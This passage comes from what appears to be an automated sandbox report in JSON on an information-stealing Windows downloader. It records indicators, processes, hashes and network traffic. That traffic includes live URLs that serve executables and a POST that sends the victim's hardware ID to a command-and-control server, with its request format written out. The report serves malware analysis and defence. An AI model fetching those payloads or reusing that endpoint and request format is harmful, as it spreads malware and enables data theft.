\"00000000-00001216.00000000.67526.03060000.00000004.mdmp, 00000000-00001216.00000000.67526.030AB000.00000004.mdmp\")\n \"ttp://api.ipify.org/?format=weg\" (Indicator: \"api.ipify.org\"; File: \"00000000-00001216.00000000.67526.030AB000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: NSIS_Inetc (Mozilla)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /RNWPd.exe HTTP/1.1Host: yip.su\n Connection: Keep-Alive\n\n GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: flyawayaero.net\n Connection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"api.ipify.org\"\n \"iplogger.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /3886d2276f6914c4.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHI\nHost: 77.91.76.36\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload:==> \"------HCFCFHJDBKJKEBFHJEHI\nContent-Disposition: form-data; name=\"hwid\"\n\nA068533DF54E758809014\n------HCFCFHJDBKJKEBFHJEHI\nContent-Disposition: form-data; name=\"build\"\n\ndefault3\n------HCFCFHJDBKJKEBFHJEHI--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"bb7917ed8063b9fd1cf3ea57fed87a5a.exe\" (UID: 00000000-00008140)\n Spawned process \"CasPol.exe\" (UID: 00000000-00000664)\n Spawned process \"CasPol.exe\" (UID: 00000000-00000736)\n Spawned process \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" (UID: 00000000-00001216)\n Spawned process \"tADoao6OOjGypodPFPdb9O4N.exe\" (UID: 00000000-00003068)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00006224)\n Spawned process \"nsn192A.tmp.exe\" (UID: 00000000-00001032)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 440 -p 1216 -ip 1216\" (UID: 00000000-00007016)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1216 -s 2084\" (UID: 00000000-00007112)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1216 -s 2084\" (UID: 00000000-00006792)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"Sets a computer-based training (CBT) hook"},{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"},{"detail":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Fingerprint","details_count":7,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries firmware table information (may be used to fingerprint/evade)"},{"detail":"Queries process information"},{"detail":"Tries to identify its external IP address"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"PE file has a section name known to be used by a packer/protector"}],"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Network","details_count":2,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"},{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 12 domains and 12 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}]},"activity":{"stats":{"process_count":10,"spawned_processes_count":10,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":13,"imported_dlls_count":128,"dropped_files_count":0,"extracted_files_count":31,"files_written_count":248,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":18,"dns_resolutions_count":12,"contacted_urls_count":8,"http_requests_count":8},"behavior_tags":["commodity","credentialharvesting","criminal","cryptbot","cryptocurrencytheft","downloader","informationstealer","stealc","ransomware","windows-server-utility","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"6586772b674da95430052127","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Lazy","contacted_countries":["BGR","RUS","USA","VNM"],"submit_name":"bb7917ed8063b9fd1cf3ea57fed87a5a","analysis_start_time":"2023-12-23T05:59:07+00:00","indicators_count":{"informative":211,"suspicious":65,"malicious":16},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.21.79.77","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"104.21.76.57","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"104.20.68.143","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"5.42.64.35","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"47.236.140.86","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"104.21.93.225","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"172.67.139.209","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"45.130.41.108","port":443,"protocol":"TCP","country":"Viet Nam","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"107.167.110.216","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"107.167.110.216","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"104.237.62.212","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"91.92.254.7","port":80,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"77.91.76.36","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"209.87.209.205","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"23.56.120.210","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"23.56.120.210","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"4.59.181.140","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"address":"144.121.3.166","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}],"dns_resolutions":[{"domain":"api.ipify.org","address":"104.237.62.212","ttl":300,"country":"United States","registrar_name":"eNom, Inc.","registrar_name_servers":"NS1.DNSIMPLE.COM","registrar_creation_date":"2014-01-05T22:02:15+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"flyawayaero.net","address":"104.21.93.225","ttl":300,"country":"United States","registrar_name":"NameSilo, LLC","registrar_organization":"PrivacyGuardian.org llc","registrar_name_servers":"CULLEN.NS.CLOUDFLARE.COM","registrar_creation_date":"2023-09-15T08:54:03+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"geofaps.com","address":"172.67.139.209","ttl":300,"country":"United States","registrar_name":"NETIM","registrar_name_servers":"AMALIA.NS.CLOUDFLARE.COM","registrar_creation_date":"2023-04-26T14:42:42+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"iplogger.com","address":"104.21.76.57","ttl":300,"country":"United States","registrar_name":"GODADDY.COM, LLC","registrar_organization":"Domains By Proxy, LLC","registrar_name_servers":"DNS.FASTDNS24.COM","registrar_creation_date":"2011-11-16T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"monoblocked.com","address":"45.130.41.108","ttl":600,"country":"Viet Nam","registrar_name":"Beget LLC","registrar_name_servers":"NS1.BEGET.COM","registrar_creation_date":"2023-12-06T09:08:12+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"net.geo.opera.com","address":"107.167.110.216","ttl":120,"country":"United States","registrar_name":"GODADDY.COM, LLC","registrar_organization":"Opera Software AS","registrar_name_servers":"NIC1.OPERA.COM","registrar_creation_date":"1999-04-14T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"pastebin.com","address":"104.20.68.143","ttl":300,"country":"United States","registrar_name":"ENOM, INC.","registrar_organization":"WHOISGUARD, INC.","registrar_name_servers":"SUE.NS.CLOUDFLARE.COM","registrar_creation_date":"2002-09-03T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"usa.kaspersky.com","address":"144.121.3.166","ttl":1996,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"AO Kaspersky Lab","registrar_name_servers":"NS.MACOMNET.RU","registrar_creation_date":"1997-10-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"www.kaspersky.com","address":"4.59.181.140","ttl":1935,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"AO Kaspersky Lab","registrar_name_servers":"NS.MACOMNET.RU","registrar_creation_date":"1997-10-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"www.zonealarm.com","address":"23.56.120.210","ttl":2805,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"yip.su","address":"104.21.79.77","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"domain":"zonealarm.com","address":"209.87.209.205","ttl":21140,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}],"http_requests":[{"host":"5.42.64.35","host_ip":"5.42.64.35:80","url":"/InstallSetup2.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /InstallSetup2.exe HTTP/1.1\nHost: 5.42.64.35\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"host":"47.236.140.86","host_ip":"47.236.140.86:80","url":"/s/fourt.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /s/fourt.exe HTTP/1.1\nHost: 47.236.140.86\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"host":"net.geo.opera.com","host_ip":"107.167.110.216:80","url":"/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1\nHost: net.geo.opera.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"host":"api.ipify.org","host_ip":"104.237.62.212:80","url":"/?format=weg","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /?format=weg HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: api.ipify.org\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"host":"91.92.254.7","host_ip":"91.92.254.7:80","url":"/scripts/plus.php?ip=67.218.111.202&substr=two&s=ab","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /scripts/plus.php?ip=67.218.111.202&substr=two&s=ab HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 91.92.254.7\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"host":"5.42.64.35","host_ip":"5.42.64.35:80","url":"/syncUpd.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /syncUpd.exe HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 5.42.64.35\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"host":"77.91.76.36","host_ip":"77.91.76.36:80","url":"/3886d2276f6914c4.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /3886d2276f6914c4.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHI\nHost: 77.91.76.36\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"host":"www.zonealarm.com","host_ip":"23.56.120.210:80","url":"/","method":"GET","response_code":"302","response_phrase":"Moved Temporarily","header":"GET / HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nConnection: Keep-Alive\nCache-Control: no-cache\nHost: www.zonealarm.com","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}],"processes":[{"pid":8140,"ppid":0,"name":"bb7917ed8063b9fd1cf3ea57fed87a5a.exe","command_line":"","sha256":"ff3bd8bcbd9f93c0b48fac3dad59735db9db2343da3126bc836a3134b563924d","normalized_path":"C:\\bb7917ed8063b9fd1cf3ea57fed87a5a.exe","uid":"00000000-00008140","icon":"$60"},{"pid":664,"ppid":8140,"name":"CasPol.exe","command_line":"","sha256":"831e937bb8367f2e8a353295ad0ae55c3ec8d5d2c18ac114383623d564bade84","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe","parent_uid":"00000000-00008140","uid":"00000000-00000664"},{"pid":736,"ppid":8140,"name":"CasPol.exe","command_line":"","sha256":"831e937bb8367f2e8a353295ad0ae55c3ec8d5d2c18ac114383623d564bade84","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe","parent_uid":"00000000-00008140","uid":"00000000-00000736"},{"pid":1216,"ppid":736,"name":"pnyhlJ15kIGAuyP1DTRWyj5L.exe","command_line":"","sha256":"71645617873c4c7c7e3c3f50f3a4bcdb4d3c38fbaceb2f7e2638185a0316c831","normalized_path":"%USERPROFILE%\\Pictures\\pnyhlJ15kIGAuyP1DTRWyj5L.exe","parent_uid":"00000000-00000736","uid":"00000000-00001216"},{"pid":6224,"ppid":1216,"name":"BroomSetup.exe","command_line":"","sha256":"ff3025f9cf19323c5972d14f00f01296d6d7a71547eca7e4016bfd0e1f27b504","normalized_path":"%TEMP%\\BroomSetup.exe","parent_uid":"00000000-00001216","uid":"00000000-00006224"},{"pid":1032,"ppid":1216,"name":"nsn192A.tmp.exe","command_line":"","sha256":"1b5b204c46897794cf26f448d4008e39a0bbfa35e42f6295cd0a09dd6a71e1fa","normalized_path":"%TEMP%\\nsn192A.tmp.exe","parent_uid":"00000000-00001216","uid":"00000000-00001032"},{"pid":7112,"ppid":1216,"name":"WerFault.exe","command_line":"-u -p 1216 -s 2084","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001216","uid":"00000000-00007112"},{"pid":6792,"ppid":1216,"name":"WerFault.exe","command_line":"-u -p 1216 -s 2084","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001216","uid":"00000000-00006792"},{"pid":3068,"ppid":736,"name":"tADoao6OOjGypodPFPdb9O4N.exe","command_line":"","sha256":"52ec0772eb7a1e76c0f99e8dcc8b377a9de782fb744d5be7386ce8c765162409","normalized_path":"%USERPROFILE%\\Pictures\\tADoao6OOjGypodPFPdb9O4N.exe","parent_uid":"00000000-00000736","uid":"00000000-00003068"},{"pid":7016,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 440 -p 1216 -ip 1216","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007016","icon":"$61"}],"all_imported_dlls":["compstui.dll","CoreUIComponents.dll","CoreMessaging.dll","msvcr100.dll","KernelBase.dll","propsys.dll","msimg32.dll","TextInputFramework.dll","ntshrui.dll","kernel32.dll","cfgmgr32.dll","System.ni.dll","OnDemandConnRouteHelper.dll","samcli.dll","WinTypes.dll","ws2_32.dll","shell32.dll","psapi.dll","schannel.dll","userenv.dll","cryptbase.dll","imagehlp.dll","IPHLPAPI.DLL","WindowsCodecs.dll","RstrtMgr.dll","Zip.dll","dhcpcsvc6.dll","powrprof.dll","System.Configuration.ni.dll","cryptsp.dll","crypt32.dll","bcrypt.dll","rasapi32.dll","winsta.dll","cldapi.dll","apphelp.dll","sechost.dll","wow64cpu.dll","windows.storage.dll","msctf.dll","INetC.dll","fltLib.dll","msIso.dll","mscms.dll","user32.dll","System.Core.ni.dll","dhcpcsvc.dll","cryptnet.dll","GdiPlus.dll","cscapi.dll","bcryptprimitives.dll","msvcp_win.dll","rtutils.dll","ole32.dll","VxSSL64.dll","profapi.dll","winhttp.dll","rasadhlp.dll","shfolder.dll","comdlg32.dll","colorui.dll","win32u.dll","ucrtbase_clr0400.dll","rsaenh.dll","rasman.dll","clbcatq.dll","gdi32.dll","wow64.dll","Windows.StateRepositoryPS.dll","ntdll.dll","wow64win.dll","netutils.dll","Checker.dll","System.Xml.ni.dll","ntasn1.dll","thumbcache.dll","oleacc.dll","rpcrt4.dll","iertutil.dll","VxSSL32.dll","combase.dll","oleaut32.dll","ncrypt.dll","mswsock.dll","FWPUCLNT.DLL","comctl32.dll","srvcli.dll","shlwapi.dll","clr.dll","uxtheme.dll","ntmarta.dll","wtsapi32.dll","advapi32.dll","vcruntime140_clr0400.dll","SHCore.dll","winnsi.dll","netapi32.dll","mscoree.dll","msasn1.dll","gpapi.dll","ntvdm64.dll","setupapi.dll","dpapi.dll","wintrust.dll","msvcp110_win.dll","kernel.appcore.dll","version.dll","dwmapi.dll","wininet.dll","linkinfo.dll","imm32.dll","sspicli.dll","mscorlib.ni.dll","urlmon.dll","clrjit.dll","secur32.dll","msvcrt.dll","ucrtbase.dll","mscoreei.dll","nsi.dll","dnsapi.dll","aepic.dll","INETRES.dll","policymanager.dll","gdi32full.dll","mskeyprotect.dll","ncryptsslp.dll","edputil.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"7KVCFfyDvEerh4UVg4DysCjN.exe","sha256":"71645617873c4c7c7e3c3f50f3a4bcdb4d3c38fbaceb2f7e2638185a0316c831","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"EQxweFwDefVKEdjRSJJROzCN.exe","sha256":"52ec0772eb7a1e76c0f99e8dcc8b377a9de782fb744d5be7386ce8c765162409","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"ClocX.exe","sha256":"282397f5efc6b5a517881350736901620649c3cf0a692423cf77b9093f933e8b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"uninst.exe","sha256":"dad57975be6833c50d32ee77212addf11a80195d82365ade6042234e492bd845","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"nsn192A.tmp.exe","sha256":"1b5b204c46897794cf26f448d4008e39a0bbfa35e42f6295cd0a09dd6a71e1fa","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Checker.dll","sha256":"073840a663ab94200cc36abaa7586a6cdf5b634dffa22591693e29a3cce4df67","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Zip.dll","sha256":"b0ce9296888ecf42de18410bcc575302593dd1a1563947c5e9eaaab3b272357c","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"pnyhlJ15kIGAuyP1DTRWyj5L.exe","sha256":"71645617873c4c7c7e3c3f50f3a4bcdb4d3c38fbaceb2f7e2638185a0316c831","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"tADoao6OOjGypodPFPdb9O4N.exe","sha256":"52ec0772eb7a1e76c0f99e8dcc8b377a9de782fb744d5be7386ce8c765162409","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"syncUpd_1_.exe","sha256":"1b5b204c46897794cf26f448d4008e39a0bbfa35e42f6295cd0a09dd6a71e1fa","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Mso0RGQpZGOFORCmSSSeiRZy.exe","sha256":"8720b9487cee7dae6db3f8f73273bcbbc56377400b830ca0f089473ebc9603f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Wm27Vb5VhFB43RvKrGJritYe.exe","sha256":"e0840d2ea74a00dcc545d770b91d9d889e5a82c7bedf1b989e0a89db04685b09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"BackupAlarms.bat","sha256":"cc51c20ef9133b8b13f5ddc0464679b81677413cf34a5b70785abfef857367b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"INetC.dll","sha256":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"0XuD4vX5Sz9Si5kHJ98Ucp7k.exe","sha256":"8720b9487cee7dae6db3f8f73273bcbbc56377400b830ca0f089473ebc9603f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"cX0CFSimOYMlAO2cu39CWNQ6.exe","sha256":"e0840d2ea74a00dcc545d770b91d9d889e5a82c7bedf1b989e0a89db04685b09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"ClocX.lnk","sha256":"eb51900c4b07b0f29ee5048d523903e3fd94c732c5704e080fd2269b574c76a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Uninstall.lnk","sha256":"90c73a8719a9e552e54dc10214cbf5b5f7ce85381ea48a2ee0ee3ee9255906a9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"09hUFR7PG3zWosUIIgM49wOc.bat","sha256":"e9e9ed80118cc7019f12b5f92a5404ad0d9b00a02737dca00e60aacefeabb70c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"6EvAx3ALaKFuZU0xB6heb2kP.bat","sha256":"38531f76abb1dc3291cdf25c3bdb57216b2f1ceeaa277acc4bd0562bed8e28ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"qpaIkOaFrndVWFbfVCgOcFwk.bat","sha256":"17ad4848a4349e10c95538681a3a3f27656bcd50eee0ae6a0a05d3f7fc708efa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"vtardEUI404h3u3aDsbSOFUT.bat","sha256":"b894cdc05d51ad52c0eed8314515e5df7ffd3339096147f13a7e563dd9848727","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"K8KW60KY.txt","sha256":"8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Q8ZXU13X.htm","sha256":"e74f2b0e1f60c5a66256a63bd889eba0d522e95447723fb49fcf0e4743cc6e19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"F0LG0QT9.htm","sha256":"255b4fd0a69de10e5a85dbbbc3bf95f3936f79caa87e34d1ce0e02e7d2734bf6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"09KCT5EA.htm","sha256":"847c2381676a09770d4a8b60187ae490747bfbc4fa5a505e3cce198f8676ed11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"FZ0NXR46.htm","sha256":"e96798f3a5fae19e555b96392b221805ae5f1a288e46cbebcdcccafebabcdf1c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Afrikaans.lng","sha256":"2f7ac68d51c52c33d8186123bd0b7f8a2087ec5e5b3c5bd16fd844aa220774fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Arabic.lng","sha256":"6f8806a904f7aded9c217c8a7fa5f38f13ce0bb5f5a21e0ccb74612c9c9b3eb5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"Bosanski.lng","sha256":"79dbbb2de47a367b70646dccb4af1dfcd56a9adcd4959d82612cf6889b1d8cf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"name":"BroomSetup.exe","sha256":"1b8c055ba257c28c6648c3d95f6adf2dec8a4b5190262cc20e550768e7100f81","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]}],"files_written":[{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Wm27Vb5VhFB43RvKrGJritYe.exe","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsxA43.tmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%SAMPLEDIR%\\Users","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\BroomSetup.exe","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nstCE4.tmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nstCE5.tmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nstCE5.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\K8KW60KY.txt","sources":[{"report_